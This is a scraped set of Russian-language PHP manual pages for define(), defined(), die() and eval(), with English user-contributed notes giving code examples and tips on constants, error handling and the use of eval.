IMO, using ($var === true) or ($var === false) instead of ($var) or (!$var) is the best way to check for booleans no matter what. Leaves no chance of ambiguity.
Joachim Kruyswijk 13-Nov-2004 09:12
The constant name can be an empty string.

Code:

define("", "foo");
echo constant("");

Output:

foo
Andre 27-Apr-2003 01:10
Maybe this is useful:

$file_ext is the file Extension of the image

<?php
if ( imagetypes() & @constant('IMG_' . strtoupper($file_ext)) )
{
    $file_ext = $file_ext == 'jpg' ? 'jpeg' : $file_ext;
    $create_func = 'ImageCreateFrom' . $file_ext;
}
?>


Определяет именованную константу

  • « constant
  • defined »
  • PHP Manual
  • Разные функции
  • Определяет именованную константу

define

(PHP 4, PHP 5, PHP 7, PHP 8)

define — Определяет именованную константу

Описание

define(string $constant_name, mixed $value, bool $case_insensitive = false): bool

Определяет именованную константу во время выполнения.

Список параметров

constant_name

Имя константы.

Замечание:

Возможно определить константы с помощью функции define() зарезервированными или даже некорректными именами, значения которых могут быть (только) получены через функцию constant(). Однако, делать это не рекомендуется.

value

Значение константы. В PHP 5 value должно быть скалярным значением (int, float, string, bool или null). В PHP 7 также возможно использовать тип array.

Внимание

Хотя возможно определить константы с типом resource, не рекомендуется это делать, поскольку может привести к непредсказуемому поведению.

case_insensitive

Если параметр установлен как true, то константа будет определена без учёта регистра. По умолчанию константа чувствительна к регистру, то есть CONSTANT и Constant представляют разные значения.

Внимание

Начиная с PHP 7.3.0, определение нечувствительных к регистру констант объявлено устаревшим. Начиная с PHP 8.0.0, допустимым значением является только false, передача true вызовет предупреждение.

Замечание:

Нечувствительные к регистру константы хранятся в нижнем регистре.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Передача true в case_insensitive теперь выдаёт ошибку уровня E_WARNING. Передача false всё ещё разрешена.
7.3.0 | Параметр case_insensitive объявлен устаревшим и будет удалён в версии 8.0.0.
7.0.0 | Допустимы значения типа array.

Примеры

Пример #1 Определение констант

<?php
define("CONSTANT", "Hello world.");
echo CONSTANT; // выводит "Hello world."
echo Constant; // выводит "Constant" и выдаёт уведомление.

define("GREETING", "Hello you.", true);
echo GREETING; // выводит "Hello you."
echo Greeting; // выводит "Hello you."

// Начиная с PHP 7
define('ANIMALS', array(
'собака',
'кошка',
'птица'
));
echo ANIMALS[1]; // выводит "кошка"

?>

Пример #2 Определение констант зарезервированными именами

Этот пример демонстрирует возможность определения константы с тем же именем, что и магическая константа. Поскольку это, очевидно, сбивающее с толку поведение, не рекомендуется делать это на практике.

<?php
var_dump(defined('__LINE__'));
var_dump(define('__LINE__', 'test'));
var_dump(constant('__LINE__'));
var_dump(__LINE__);
?>

Результат выполнения данного примера:

bool(false)
bool(true)
string(4) "test"
int(5)

Смотрите также

  • defined() - Проверяет существование указанной именованной константы
  • constant() - Возвращает значение константы
  • Смотрите раздел Константы

User Contributed Notes

tux dot lector at gmail dot com 30-Apr-2023 12:33
Since version 8 or 8.1, beat me if I recall any type of class
as defined constant value is perfectly valid.

Should You use it, I wouldn't know.
Most probably, referencing with such instances will fail badly.
But it might come handy for public and readonly classes.

<?php

  define ('ClassInstance',
  new class extends \My\OtherClass {

    private bool $toggle = false;
    private float $real = 1.2345;
    private ?string $obj = null;

    public function __construct() {
        $this-> privatemethod();
    }

    private function privatemethod() {
        $this-> obj = var_export ($this, true);
    }

  });

?>
agneady at gmail dot nospam dot please dot com 06-Oct-2021 08:05
If you happen to name your constant the same as a function name (either a built-in function or a user-defined one), PHP can handle this correctly based on context. For example:

<?php
function myfunc() {
   return 'function output';
}

define('MYFUNC', 'constant value');

// note that function names are NOT case-sensitive
// so calling MYFUNC() is the same as calling myfunc()

echo 'MYFUNC(): ' . MYFUNC() . ', MYFUNC: ' . MYFUNC;
?>

Output:
MYFUNC(): function output, MYFUNC: constant value
ohcc at 163 dot com 22-Mar-2020 12:34
A namespace constant can be defined using the define function, the constant defined this way is not global.

<?php
    namespace WuXiancheng;
    \define('China\Sichuan\Guangan\Yuechi\ZIP', 638300);
    echo ZIP; //Use of undefined constant ZIP
    echo \China\Sichuan\Guangan\Yuechi\ZIP; // 638300
?>
David Spector 19-Jul-2019 03:03
It may be worth stating that a define function must be executed before its global constant is referenced.

Example:

Abc();
define("TEST", 23);
function Abc()
    {
    echo TEST;
    } // Abc

This code fails with a Notice-level message. TEST is treated here as being the string "TEST".
me at mariusgerum dot de 18-Sep-2018 09:29
You can define constants with variable names (works also with constant values or variables or array values or class properties and so on - as long it's a valid constant name).

<?php

    # Define a constant and set a valid constant name as string value
    define("SOME_CONSTANT", "NEW_CONSTANT");

    # Define a second constant with dynamic name (the value from SOME_CONSTANT)
    define(SOME_CONSTANT, "Some value");

    # Output
    echo SOME_CONSTANT; // prints "NEW_CONSTANT"
    echo "<br>";
    echo NEW_CONSTANT; // prints "Some value"

    ?>

Needless to say that you'll lose your IDE support for refactoring and highlighting completely for such cases.
No clue why someone would / could actually use this but i thought it's worth mentioning.
@SimoEast on Twitter 08-Jun-2017 03:10
Not sure why the docs omit this, but when attempting to define() a constant that has already been defined, it will fail, trigger an E_NOTICE and the constant's value will remain as it was originally defined (with the new value ignored).

(Guess that's why they're called "constants".)
Dale Landry 16-Apr-2017 09:45
With php 7 you can now define arrays.

consider the following code:
<?php

define( "EXPLENATIVES", [1 => "Foo Bar", 2 => "Fehw Bahr", 3 => "Foo Bahr", 4 => "Fooh Bar", 5 => "Fooh Bhar", 6 => "Foo Barr", 7 => "Foogh Bar", 8 => "Fehw Barr", 9 => "Fu bar", 10 => "Foo Bahr", 11 => "Phoo Bar", 12 => "Foo Bawr", 13 => "Phooh Baughr", 14 => "Foogan Bargan", 15 => "Foo Bahre", 16 => "Fu Bahar", 17 => "Fugh Bar", 18 => "Phou Baughr"]);

//set up define methods using mixed values; both array and non-array values
define("NAVBTNS", [EXPLENATIVES, "Nouns", "Verbs", "Adjectives"]);

//function to create a dropdown menu using the EXPLENATIVES array $btn=EXPLENATIVES=assoc_array

function construct_navbar_buttons(){

    $btns = '<ul class="nav navbar-nav">';

    foreach(NAVBTNS as $button => $btn){
        if(is_array($btn)){
            $btns .= '<li class="dropdown">
                        <a class="dropdown-toggle" data-toggle="dropdown" href="?id='.$btn.'">
                            <i class="glyphicon glyphicon-user"></i> You Dare Say? <i class="glyphicon glyphicon-collapse-down"></i>
                        </a>
                        <ul class="dropdown-menu dropdown-user">';
            foreach(EXPLENATIVES as $key => $button){
                $btns .= '<li><a href="#">'.$button.'</a></li>';
            }
            $btns .= '</ul>';
        }else{
            $btns .= '<li><a href="#">'.$btn.'</a></li>';
        }
    }

    $btns .= '</ul>';
    return $btns;
}

Love this new implementation!

?>
Anonymous 15-Apr-2017 08:33
There's an undocumented side-effect of setting the third parameter to true (case-insensitive constants): these constants can actually be "redefined" as case-sensitive, unless it's all lowercase (which you shouldn't define anyway).

The fact is that case-sensitive constants are stored as is, while case-insensitive constants are stored in lowercase, internally. You're still allowed to define other constants with the same name but capitalized differently (except for all lowercase).

<?php
  // "echo CONST" prints 1, same as "echo const", "echo CoNst", etc.
  define('CONST', 1, true);
  echo CONST; // Prints 1

  define('CONST', 2);
  echo CONST; // Prints 2
  echo CoNsT; // Prints 1
  echo const; // Prints 1

  // ** PHP NOTICE: Constant const already defined **
  define('const', 3);
  echo const; // Prints 1
  echo CONST; // Prints 2
?>

Why would you use this?

A third party plugin might attempt to define a constant for which you already set a value. If it's fine for them to set the new value, assuming you cannot edit the plugin, you could define your constant case-insensitive. You can still access the original value, if needed, by using any capitalization other than the one the plugin uses. As a matter of fact, I can't think of another case where you would want a case-insensitive constant...
axew3 at axew3 dot com 05-Sep-2016 08:46
Php 7 - Define: "Defines a named constant at runtime. In PHP 7, array values are also accepted."

But prior PHP 7, you can maybe do this, to pass an array elsewhere using define:

$to_define_array = serialize($array);
define( "DEFINEANARRAY", $to_define_array );

... and so ...

$serialized = DEFINEANARRAY; // passing directly the defined will not work
      $our_array = unserialize($serialized);

print_r($our_array);
swisschocolate at cmail dot nu 13-Feb-2016 11:35
I think worth mentioning is that define() appears to ignore invalid constant names.
One immediate implication of this seem to be that if you use an invalid constant name you have to use constant() to access it and obviously that you can't use the return value from define() to tell you whether the constant name used is invalid or not.

For example:
$name = '7(/!§%';
var_dump(define($name, "hello")); // outputs bool(true)
var_dump(constant($name)); // outputs string(5) "hello"
ravenswd at gmail dot com 22-Feb-2015 03:11
Be aware that if "Notice"-level error reporting is turned off, then trying to use a constant as a variable will result in it being interpreted as a string, if it has not been defined.

I was working on a program which included a config file which contained:

<?php
define('ENABLE_UPLOADS', true);
?>

Since I wanted to remove the ability for uploads, I changed the file to read:

<?php
//define('ENABLE_UPLOADS', true);
?>

However, to my surprise, the program was still allowing uploads. Digging deeper into the code, I discovered this:

<?php
if ( ENABLE_UPLOADS ):
?>

Since 'ENABLE_UPLOADS' was not defined as a constant, PHP was interpreting its use as a string constant, which of course evaluates as True.
phen at adnerdum dot org 06-Jul-2011 01:32
To clear up a few thing:
Integers with 0 in front work. But since PHP (and many other languages) handle them as octal values, they're only allowed a range of 0-7:

<?php
 define('GOOD_OCTAL', 0700);
 define('BAD_OCTAL', 0800);

 print GOOD_OCTAL;
 print '<br>';
 print BAD_OCTAL;
?>

Result:
448
0

---------------------------------------

Furthermore,

writing the constant name without the quotation-marks (as mentioned in the notes) throws an E_NOTICE and should be avoided!

<?php
 define(TEST, 'Throws an E_NOTICE');
?>

Result:
Notice: Use of undefined constant TEST - assumed 'TEST'
Jamie 01-Mar-2011 01:24
This is obvious, but easy to forget: if you include a file, the include file can only make use of constants already defined. For example:

<?php
define("VEG","cabbage");
require("another file");
define("FRUIT","apple");

// "another file":
echo VEG; // cabbage
echo FRUIT; // FRUIT
?>
chris at peeto dot net 25-Mar-2010 07:15
The value of a constant can be the value of another constant.

<?php

define("NEW_GOOD_NAME_CONSTANT", "I have a value");
define("OLD_BAD_NAME_CONSTANT", NEW_GOOD_NAME_CONSTANT);

echo NEW_GOOD_NAME_CONSTANT; // current
echo OLD_BAD_NAME_CONSTANT; // legacy

?>
danbettles at yahoo dot co dot uk 14-Apr-2009 11:56
define() will define constants exactly as specified.  So, if you want to define a constant in a namespace, you will need to specify the namespace in your call to define(), even if you're calling define() from within a namespace.  The following examples will make it clear.

The following code will define the constant "MESSAGE" in the global namespace (i.e. "\MESSAGE").

<?php
namespace test;
define('MESSAGE', 'Hello world!');
?>

The following code will define two constants in the "test" namespace.

<?php
namespace test;
define('test\HELLO', 'Hello world!');
define(__NAMESPACE__ . '\GOODBYE', 'Goodbye cruel world!');
?>
eparkerii at carolina dot rr dot com 22-Oct-2008 12:01
Found something interesting.  The following define:

<?php
define("THIS-IS-A-TEST","This is a test");
echo THIS-IS-A-TEST;
?>

Will return a '0'.

Whereas this:

<?php
define("THIS_IS_A_TEST","This is a test");
echo THIS_IS_A_TEST;
?>

Will return 'This is a test'.

This may be common knowledge but I only found out a few minutes ago.

[EDIT BY danbrown AT php DOT net: The original poster is referring to the hyphens versus underscores.  Hyphens do not work in defines or variables, which is expected behavior.]
jan at webfontein dot nl 27-Jul-2008 05:20
For translating with variables and define, take also a look on the constant() function.

Example :

<?php
define('PAYMENT_IDEAL',"iDEAL Payment ( NL only )");
define('PAYMENT_MASTERCARD',"Mastercard Payment ( international )");

$payparam='MASTERCARD';

echo constant("PAYMENT_$payparam");

// output :
// Mastercard Payment ( international )
?>


Проверяет существование указанной именованной константы

  • « define
  • die »
  • PHP Manual
  • Разные функции
  • Проверяет существование указанной именованной константы

defined

(PHP 4, PHP 5, PHP 7, PHP 8)

defined — Проверяет существование указанной именованной константы

Описание

defined(string $constant_name): bool

Проверяет существование и наличие значения указанной константы.

Функция также работает с константами классов и перечислениями.

Замечание:

Если необходимо узнать о существовании переменной, то используйте isset(), так как defined() применима лишь для констант. Если вам необходимо узнать о существовании функции, то используйте function_exists().

Список параметров

constant_name

Имя константы.

Возвращаемые значения

Возвращает true, если именованная константа, указанная в параметре constant_name, была определена, false в противном случае.

Примеры

Пример #1 Проверка констант

<?php
/* Важно учесть необходимость использования кавычек. Данный пример проверяет,
* является ли строка 'TEST' именем константы TEST. */
if (defined('TEST')) {
echo TEST;
}

interface bar {
const test = 'foobar!';
}

class foo {
const test = 'foobar!';
}

var_dump(defined('bar::test')); // bool(true)
var_dump(defined('foo::test')); // bool(true)

?>

Пример #2 Проверка вариантов перечисления (начиная с PHP 8.1.0)

<?php

enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}

var_dump(defined('Suit::Hearts')); // bool(true)

?>

Смотрите также

  • define() - Определяет именованную константу
  • constant() - Возвращает значение константы
  • get_defined_constants() - Возвращает ассоциативный массив с именами всех констант и их значений
  • function_exists() - Возвращает true, если указанная функция определена
  • Смотрите раздел Константы

User Contributed Notes

ohcc at 163 dot com 09-Sep-2020 02:08
If a constant's name has a leading backslash (\), it's not possible to detect its existence using the defined() function, or to get its value using the constant() function.

You can check its existence and get its value using the get_defined_constants() function, or prepend 2 more backslashes (\\) to the constant's name.

<?php
    define('\DOMAIN', 'wuxiancheng.cn');
    $isDefined = defined('\DOMAIN'); // false
    $domain = constant('\DOMAIN'); // NULL, in Php 8+ you'll get a Fatal error.
    var_dump($isDefined, $domain);
?>

<?php
    define('\DOMAIN', 'wuxiancheng.cn');
    $constants = get_defined_constants();
    $isDefined = isSet($constants['\DOMAIN']);
    $domain = $isDefined ? $constants['\DOMAIN'] : NULL;
    var_dump($isDefined, $domain);
?>

<?php
    define('\DOMAIN', 'wuxiancheng.cn');
    $isDefined = defined('\\\DOMAIN');
    $domain = constant('\\\DOMAIN');
    var_dump($isDefined, $domain);
?>
nahiddhaka07 at gmail dot com 05-Jun-2020 08:56
<?php

define("GREET", "Hi");

defined("GREET") || define("GREET", "Hello");

echo GREET;

// Output is: Hi
louis at louisworks dot de 16-Oct-2018 01:06
Dont forget to put the name of your constant into single quotation mark. You will not get an error or a warning.

<?php
define("AMOUNT_OF_APPLES", 12);
if(defined(AMOUNT_OF_APPLES)){
   //you won't get an output here
   echo AMOUNT_OF_APPLES;
}
?>

so do instead

<?php
define("AMOUNT_OF_APPLES", 12);
if(defined("AMOUNT_OF_APPLES")){
   //here you go
   echo AMOUNT_OF_APPLES;
}

//output: 12
?>

It took me half an day to see it...
Anonymous 26-Jul-2017 06:39
Be careful with boolean defines and assuming a check is done for a specific value by defined such as
<?php

define('DEBUG', false);

if(defined('DEBUG')){
    echo 'Not really debugging mode';
}
?>

You want to also check the constant as in

<?php
define('DEBUG', true);

if(defined('DEBUG') && DEBUG){
    echo 'Really this is debugging mode';
}
?>

All defined is doing is verifying the constant exists not it's value.
ASchmidt at Anamera dot net 31-Mar-2017 08:08
// Checking the existence of a class constant, if the class is referenced by a variable.

class Class_A
{
    const CONST_A = 'value A';
}

// When class name is known.
if ( defined( 'Class_A::CONST_A' ) )
    echo 'Class_A::CONST_A defined';

// Using a class name variable. Note the double quotes.
$class_name = Class_A::class;
if ( defined( "$class_name::CONST_A" ) )
    echo '$class_name::CONST_A defined';

// Using an instantiated object for a variable class.
$object_A = new $class_name();
if ( defined( get_class($object_A).'::CONST_A' ) )
    echo '$object_A::CONST_A defined';
passerbyxp at gmail dot com 02-Nov-2012 12:10
This function, along with constant(), is namespace sensitive. And it might help if you imagine them always running under the "root namespace":

<?php
namespace FOO\BAR
{
    const WMP="wmp";
    function test()
    {
        if(defined("WMP")) echo "direct: ".constant("WMP"); //doesn't work;
        elseif(defined("FOO\\BAR\\WMP")) echo "namespace: ".constant("FOO\\BAR\\WMP"); //works
        echo WMP; //works
    }
}
namespace
{
    \FOO\BAR\test();
}
Lars Lernestal 25-Oct-2011 02:03
if you want to check id a class constant is defined use self:: before the constant name:

<?php
defined('self::CONSTANT_NAME');
?>
vindozo at gmail dot com 31-Aug-2010 02:21
If you wish to protect files from direct access I normally use this:

index.php:

<?php
// Main stuff here
define('START',microtime());

include "x.php";
?>

x.php:

<?php
defined('START')||(header("HTTP/1.1 403 Forbidden")&die('403.14 - Directory listing denied.'));
?>
r dot hartung at roberthartung dot de 03-Dec-2009 11:45
You can use the late static command "static::" withing defined as well. This example outputs - as expected - "int (2)"

<?php
  abstract class class1
  {
    public function getConst()
    {
      return defined('static::SOME_CONST') ? static::SOME_CONST : false;
    }
  }

  final class class2 extends class1
  {
    const SOME_CONST = 2;
  }

  $class2 = new class2;

  var_dump($class2->getConst());
?>
info at daniel-marschall dot de 11-Jul-2009 01:51
I found something out: defined() becomes probably false if a reference gets lost.

<?php

session_start(); // $_SESSION created
define('SESSION_BACKUP', $_SESSION);
if (defined('SESSION_BACKUP')) echo 'A';
session_unset(); // $_SESSION destroyed
if (defined('SESSION_BACKUP')) echo 'B';

?>

You will see "A", but not "B".
tris+php at tfconsulting dot com dot au 26-Mar-2009 06:40
Before using defined() have a look at the following benchmarks:

true                                       0.65ms
$true                                      0.69ms (1)
$config['true']                            0.87ms
TRUE_CONST                                 1.28ms (2)
true                                       0.65ms
defined('TRUE_CONST')                      2.06ms (3)
defined('UNDEF_CONST')                    12.34ms (4)
isset($config['def_key'])                  0.91ms (5)
isset($config['undef_key'])                0.79ms
isset($empty_hash[$good_key])              0.78ms
isset($small_hash[$good_key])              0.86ms
isset($big_hash[$good_key])                0.89ms
isset($small_hash[$bad_key])               0.78ms
isset($big_hash[$bad_key])                 0.80ms

PHP Version 5.2.6, Apache 2.0, Windows XP

Each statement was executed 1000 times and while a 12ms overhead on 1000 calls isn't going to have the end users tearing their hair out, it does throw up some interesting results when comparing to if(true):

1) if($true) was virtually identical
2) if(TRUE_CONST) was almost twice as slow - I guess that the substitution isn't done at compile time (I had to double check this one!)
3) defined() is 3 times slower if the constant exists
4) defined() is 19 TIMES SLOWER if the constant doesn't exist!
5) isset() is remarkably efficient regardless of what you throw at it (great news for anyone implementing array driven event systems - me!)

May want to avoid if(defined('DEBUG'))...
reachmike at hotpop dot com 30-Nov-2008 10:17
You may find that if you use <?= ?> to dump your constants, and they are not defined, depending on your error reporting level, you may not display an error and, instead, just show the name of the constant. For example:

<?= TEST ?>

...may say TEST instead of an empty string like you might expect. The fix is a function like this:

<?php

function C(&$constant) {
    $nPrev1 = error_reporting(E_ALL);
    $sPrev2 = ini_set('display_errors', '0');
    $sTest = defined($constant) ? 'defined' : 'not defined';
    $oTest = (object) error_get_last();
    error_reporting($nPrev1);
    ini_set('display_errors', $sPrev2);
    if ($oTest->message) {
        return '';
    } else {
        return $constant;
    }
}

?>

And so now you can do:

<?= C(TEST) ?>

If TEST was assigned with define(), then you'll receive the value. If not, then you'll receive an empty string.

Please post if you can do this in fewer lines of code or do something more optimal than toggling the error handler.
daniel at neville dot tk 14-Jul-2008 10:48
My preferred way of checking if a constant is set, and if it isn't - setting it (could be used to set defaults in a file, where the user has already had the opportunity to set their own values in another.)

<?php

defined('CONSTANT') or define('CONSTANT', 'SomeDefaultValue');

?>

Dan.
Shaun H 28-Mar-2008 11:30
I saw that PHP doesn't have an enum function so I created my own. It's not necessary, but can come in handy from time to time.

<?php
    function enum()
    {
        $args = func_get_args();
        foreach($args as $key=>$arg)
        {
            if(defined($arg))
            {
                 die('Redefinition of defined constant ' . $arg);
            }

            define($arg, $key);
        }
    }

    enum('ONE','TWO','THREE');
    echo ONE, ' ', TWO, ' ', THREE;
?>
Joel 20-Aug-2007 05:35
If your constants don't show up in your included or required files, then you probably have php safe mode turned on!

I ran into this problem, I forgot to turn of safe mode when I was creating a new site.
ndove at cox dot net 27-Jan-2005 07:20
In PHP5, you can actually use defined() to see if an object constant has been defined, like so:

<?php

class Generic
{
    const WhatAmI = 'Generic';
}

if (defined('Generic::WhatAmI'))
{
    echo Generic::WhatAmI;
}

?>

Thought it may be useful to note.

-Nick


Эквивалент функции exit

  • « defined
  • eval »
  • PHP Manual
  • Разные функции
  • Эквивалент функции exit

die

(PHP 4, PHP 5, PHP 7, PHP 8)

die — Эквивалент функции exit

Описание

Данная функция эквивалентна функции exit().

User Contributed Notes

stysan 29-Aug-2022 05:08
The "die" function is good to use when an error occurs and you need to instantly leave, and the "exit" function is good to use when a program is done without any errors. Why that? So you can search dies in the program and debug better.
atesin gamil com 07-Mar-2022 05:52
"... OR DIE..."

<?php
    do_something($with_this) or die ('oops!');
?>

(in php, "die" is actually an alias of "exit")

beware until this is often used as an error handling statement actually isn't... is just the "or" boolean operator overloaded (short circuited)

it won't supress any error message, won't prevent you for fatal errors or crashes, is not an alias for "try/catch", and could has unpredictable results... it just means something like this:

- execute the first statement ""do_something($with_this)"" normally
-- if the statement results TRUE: no need to execute the second statement so skip it
-- else if returns FALSE... well i am not sure about the result of the whole expression, so continue with second statement ""die('cuack!)""

so you can't rely on all statements will suppress error messages or crashes, or will always return "false" on error or undesirable behavior...

for this better use the error skipping operator "@" "if" and "exit" commands, or use "try/catch" blocks
smcbride at msn dot com 30-Dec-2020 12:13
I always think about why duplicate commands deserve to exist, but die is one of those that I know why.  It may be the same as exit(), but when you want to search through source code for die() for an unhandled error vs. a clean exit(), it helps a bit on the debugging.  Not to mention backward compatibility, but we deprecate those reasons for 'good' reason.
Anonymous 06-Nov-2020 08:36
Do not forget to add an error log, so you also get to know about the problem, as well as an error 500 header.

$message =  'Description of the error.';
error_log($message);
header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500);
die($message);
info at alzlper dot com 30-Dec-2017 06:24
Using die() can be a good option when working with HTTP Endpoints.

If your PHP Script is one, you can use die() to send back an error as plain text or JSON for example.

die(json_encode(array('error' => 'some error')));
Hayley Watson 25-Aug-2012 04:29
It is poor design to rely on die() for error handling in a web site because it results in an ugly experience for site users: a broken page and - if they're lucky - an error message that is no help to them at all. As far as they are concerned, when the page breaks, the whole site might as well be broken.

If you ever want the public to use your site, always design it to handle errors in a way that will allow them to continue using it if possible. If it's not possible and the site really is broken, make sure that you find out so that you can fix it. die() by itself won't do either.

If a supermarket freezer breaks down, a customer who wanted to buy a tub of ice cream doesn't expect to be kicked out of the building.
Damien Bezborodov 20-Aug-2009 10:45
Beware that when using PHP on the command line, die("Error") simply prints "Error" to STDOUT and terminates the program with a normal exit code of 0.

If you are looking to follow UNIX conventions for CLI programs, you may consider the following:

<?php
fwrite(STDERR, "An error occurred.\n");
exit(1); // A response code other than 0 is a failure
?>

In this way, when you pipe STDOUT to a file, you may see error messages in the console and BASH scripts can test for a response code of 0 for success:

rc@adl-dev-01:~$ php die.php > test
An error occurred.
rc@adl-dev-01:~$ echo $?
1

Ideally, PHP would write all Warnings, Fatal Errors, etc on STDERR, but that's another story.
jbailey at raspberryginger dot com 20-Jan-2007 09:33
die doesn't prevent destructors from being run, so the script doesn't exit immediately, it still goes through cleanup routines.


Расценивает строку как PHP-код и выполняет его

  • « die
  • exit »
  • PHP Manual
  • Разные функции
  • Расценивает строку как PHP-код и выполняет его

eval

(PHP 4, PHP 5, PHP 7, PHP 8)

eval — Расценивает строку как PHP-код и выполняет его

Описание

eval(string $code): mixed

Выполняет переданную в параметре code строку как код PHP.

Выполняемый код наследует ту же область видимости переменной, что и строка, на которой языковая конструкция eval() была вызвана. Любые доступные на этой строке переменные будут доступны для чтения и изменения в выполняемом коде. Однако все объявленные в этом коде функции и классы получат глобальную область видимости. Говоря по-другому, компилятор расценит выполняемый код так, как если бы это был подключёный файл.

Предостережение

Языковая конструкция eval() может быть очень опасной, поскольку может выполнять произвольный код. Поэтому от работы с ней воздерживаются. Если тщательный поиск других решений показал, что альтернативы нет, внимательно проверяют, чтобы в неё не передавались пользовательские данные без их правильной предварительной проверки.

Список параметров

code

Выполняемая строка кода PHP.

Код не должен быть обёрнут открывающимся и закрывающимся тегами PHP, то есть строка должна быть, например, такой: 'echo "Привет!";', но не такой '<?php echo "Привет!"; >'. Можно переключаться между режимами PHP- и HTML-кода, например: 'echo "Код PHP!"; ?>Код HTML<?php echo "Снова код PHP!";'.

Передаваемый код должен быть верным выполняемым кодом PHP. Это значит, что операторы должны быть разделены точкой с запятой (;). При выполнении строки 'echo "Привет!"' будет сгенерирована ошибка, а строка 'echo "Привет!";' будет успешно выполнена.

Указание в строке кода ключевого слова return прекращает выполнение.

Код из строки будет выполнен в той области видимости, в которой вызвана конструкция eval(). Поэтому переменные, которые определены или изменены в ней, сохранят видимость после завершения вызова конструкции eval().

Возвращаемые значения

Языковая конструкция eval() возвращает значение null, или значение, которое вернул вызванный в выполняемом коде оператор return. Начиная с PHP 7, если в выполняемом коде присутствует ошибка, то конструкция eval() вызывает исключение "ParseError". До PHP 7 в таких случаях возвращалось булево значение false и продолжалось нормальное выполнение последующего кода. Невозможно поймать ошибку парсера в конструкции eval() функцией set_error_handler().

Примеры

Пример #1 Пример функции eval() — простое слияние текста

<?php
$string = 'чашка';
$name = 'кофе';
$str = 'Это $string с моим $name.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
?>

Результат выполнения данного примера:

Это $string с моим $name.
Это чашка с моим кофе.

Примечания

Замечание: Поскольку это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций или именованных аргументов.

Подсказка

Как и с любой другой функцией, осуществляющей вывод непосредственно в браузер, вы можете использовать функции контроля вывода, чтобы перехватывать выводимые этой функцией данные и сохранять их, например, в строку (string).

Замечание:

В случае фатальной ошибки в выполняемом коде прекращается выполнение всего скрипта.

Смотрите также

  • call_user_func() - Вызывает callback-функцию, заданную в первом параметре

User Contributed Notes

xxixxek at gmail dot com 27-Feb-2023 03:46
I happened to work on a very old code that, for many reasons, couldn't be rewritten and the only way of showing the exact error in eval that worked for me was:

$res = eval($somecode);

if(!$res) {
    echo "<pre>";
    print_r(explode(PHP_EOL, $somecode));
    echo "</pre>";
}

I know it is terrible but I didn't have much of a choice. None of the try...catch solutions worked for me; the solution above shows the exact lines with numbers and it is easy to find what's wrong with the code.
xxixxek at gmail dot com 27-Feb-2023 03:45
I happened to work on a very old code that, for many reasons, couldn't be rewritten and the only way of showing the exact error in eval that worked for me was:

$res = eval($somecode);

if(!$res) {
    echo "<pre>";
    print_r(explode(PHP_EOL, $somecode));
    echo "</pre>";
}

I know it is terrible but I didn't have much of a choice. None of the try...catch solutions worked for me; the solution above shows the exact lines with numbers and it is easy to find what's wrong with the code.
Patanjali 14-May-2022 10:04
eval() is useful for preprocessing css (and js) with php to embed directly into a style tag in the head tag (or script tag at the bottom of body tag) of the HTML of the page.

This:

a. Prevents Flash of White in Chrome or Firefox (where an external css file arrives briefly too late to render the HTML).

b. Allows radical minifying by testing the page source to see if whole blocks of rules or code are even required, such as for tables.

c. Allows custom source-content-dependent css rules to be created on the fly. (I use this to create rules for positioned labels over an image that scale with it)

d. Allows generation of a hash of the processed css or js for use in the page's CSP header for style-src or script-src to prevent injection attacks.

Here eval() is safe because it is not using user-supplied (person or browser) information
stocki dot r at gmail dot com 10-Mar-2022 08:35
You can use `eval()` to combine classes/traits dynamically with anonymus classes:

<?php

function init($trait, $class) {
    return (trait_exists($trait) && class_exists($class))
        ? eval("return new class() extends {$class} { use {$trait}; };")
        : false;
}

trait Edit {
    function hello() { echo 'EDIT: ' . $this->modulename; }
}
trait Ajax {
    function hello() { echo 'AJAX: ' . $this->modulename; }
}
class MyModule {
    public $modulename = 'My Module';
}
class AnotherModule {
    public $modulename = 'Another Module';
}

init('Edit', 'MyModule')->hello();      # 'EDIT: My Module'
init('Ajax', 'AnotherModule')->hello(); # 'AJAX: Another Module'

?>
greald at gmail dot com 26-Dec-2021 09:10
to avoid the evil eval() you may use the fact that function names, variable names, property names and method names can be handled strings.

<?php
class Fruit
{
    public $tomato = "Tomatos";

    public function red() {return " are red. ";}
}

$fruit = new Fruit;
$fruitStr = "tomato";
$colorStr = "red";

echo $fruit->$fruitStr . $fruit->$colorStr();

// and procedural  //////////////////////////////////////////

$lemon = "Lemons";

function yellow() {return " are yellow. ";}

$fruitStr = "$lemon";
$colorStr = "yellow";

echo $fruitStr . $colorStr();
?>
remindfwd 09-Jan-2021 05:30
Note that

<?php

echo eval( '$var = (20 - 5);' );  // don't show anything

echo ' someString ' . eval( 'echo $var = 15;' ); // outputs 15 someString

//or
echo ' someString ' . eval( 'echo $var = 15;' ) . ' otherString '; // 15 someString  otherString

//or
echo ' someString ' . eval( 'echo $var = 15;' ) . ' otherString ' . '...' .eval( 'echo " __ " . $var = 10;' ); // 15 __ 10 someString  otherString  ...

?>
catgirl at charuru dot moe 17-Dec-2017 11:49
It should be noted that imported namespaces are not available in eval.
solobot 07-Nov-2017 09:55
eval() is workaround for generating multiple anonymous classes with static properties in loop

public function generateClassMap()
    {
        foreach ($this->classMap as $tableName => $class)
        {
            $c = null;
            eval('$c = new class extends \common\MyStaticClass {
                public static $tableName;
                public static function tableName()
                {
                    return static::$tableName;
                }
            };');
            $c::$tableName = $this->replicationPrefix.$tableName;
            $this->classMap[$tableName] = $c;

        }
    }

thus every class will have its own $tableName instead of common ancestor.
Jeremie LEGRAND 28-Jun-2017 03:25
At least in PHP 7.1+, eval() terminates the script if the evaluated code generate a fatal error. For example:
<?php
@eval('$content = (100 - );');
?>

(Even if it is in the man, I'm note sure it acted like this in 5.6, but whatever)
To catch it, I had to do:
<?php
try {
    eval('$content = (100 - );');
} catch (Throwable $t) {
    $content = null;
}
?>

This is the only way I found to catch the error and hide the fact there was one.
divinity76 at gmail dot com 06-Jun-2017 09:35
imo, this is a better eval replacement:

<?php
function betterEval($code) {
    $tmp = tmpfile ();
    $tmpf = stream_get_meta_data ( $tmp );
    $tmpf = $tmpf ['uri'];
    fwrite ( $tmp, $code );
    $ret = include ($tmpf);
    fclose ( $tmp );
    return $ret;
}
?>

